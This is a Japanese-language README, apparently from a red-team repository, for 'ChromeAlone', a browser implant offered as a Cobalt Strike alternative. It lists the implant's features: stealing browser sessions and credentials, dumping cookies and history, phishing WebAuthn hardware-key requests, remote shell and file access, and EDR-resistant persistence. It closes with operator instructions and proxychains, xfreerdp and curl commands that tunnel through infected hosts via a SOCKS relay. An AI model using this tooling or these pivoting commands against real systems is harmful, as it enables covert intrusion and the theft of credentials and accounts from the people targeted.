ChromeAlone は、Cobalt Strike や Meterpreter のような従来型インプラントの代わりとして使用できるブラウザ・インプラントです。このリポジトリは、管理コンソールの生成、インフラのデプロイ、そしてターゲット上で実行するための PowerShell サイドローダースクリプトを作成する、シンプルなビルドプロセスを提供します。
インストール後、各 ChromeAlone インプラントは次の機能を提供します:
- ホスト上での SOCKS TCP プロキシの提供
- ブラウザセッションの窃取および認証情報の取得
- Chrome からホスト上で実行ファイルを起動
- YubiKey や Titan Security Key のような物理セキュリティトークン向け WebAuthn リクエストのフィッシング
- Chromium の組み込み機能のみで実装された、EDR 耐性のあるホスト上での永続化手法
オペレーター向け手順
ChromeAlone がロードされると、output/client/index.html を開くことで、接続されている任意のホストを確認できます。この Web アプリは、デプロイ済みの BATTLEPLAN リレーインスタンスに接続するよう事前設定されています。デフォルトでは、リレーはファイアウォール設定により、サーバーをデプロイした IP からの 1080~1181 番ポートへの制御アクセスのみを許可しています。これを変更したい場合は、EC2 インスタンスのネットワーク設定を更新し、追加のマシンを許可する必要があります。
ほとんどのコマンドは WebUI から実行できます。例:
- 履歴と Cookie のダンプ(
Quick Commandsセクション経由。Execute Commandセクションでターゲットエージェントを選択する必要があります) - 認証情報の取得(
Captured Dataタブに表示されます) - WebAuthn リクエストの強制(
Execute Commandセクション経由) - ファイルシステムの読み取り(
File Browserタブ経由) - シェルコマンドの実行(
Interactive Shellタブ経由)
主な例外は SOCKS プロキシです。感染した各ホストにはサーバー用の一意の SOCKS ポートが割り当てられており、これは Agent Information セクションで、各エージェントの Port フィールドとして確認できます。割り当てられたポートと、output/client/config.js に保存されている admin 認証情報を組み合わせることで、ホスト固有の SOCKS プロキシを構成できます。
例えば、あるエージェントのポートが 1081、ドメインが chrome.alone、ユーザー名が admin(これは常に同じ)、パスワードが thisisnotarealpassword だとします。以下は使用例です:
proxychains -q socks5 admin:[email protected]:1081 curl http://ifconfig.me
xfreerdp /cert:ignore /v:<target RDP host> /u:<target RDP username> /proxy:socks5://admin:[email protected]:1081
curl -x socks5h://chrome.alone:1081 -u "admin:thisisnotarealpassword" http://ifconfig.me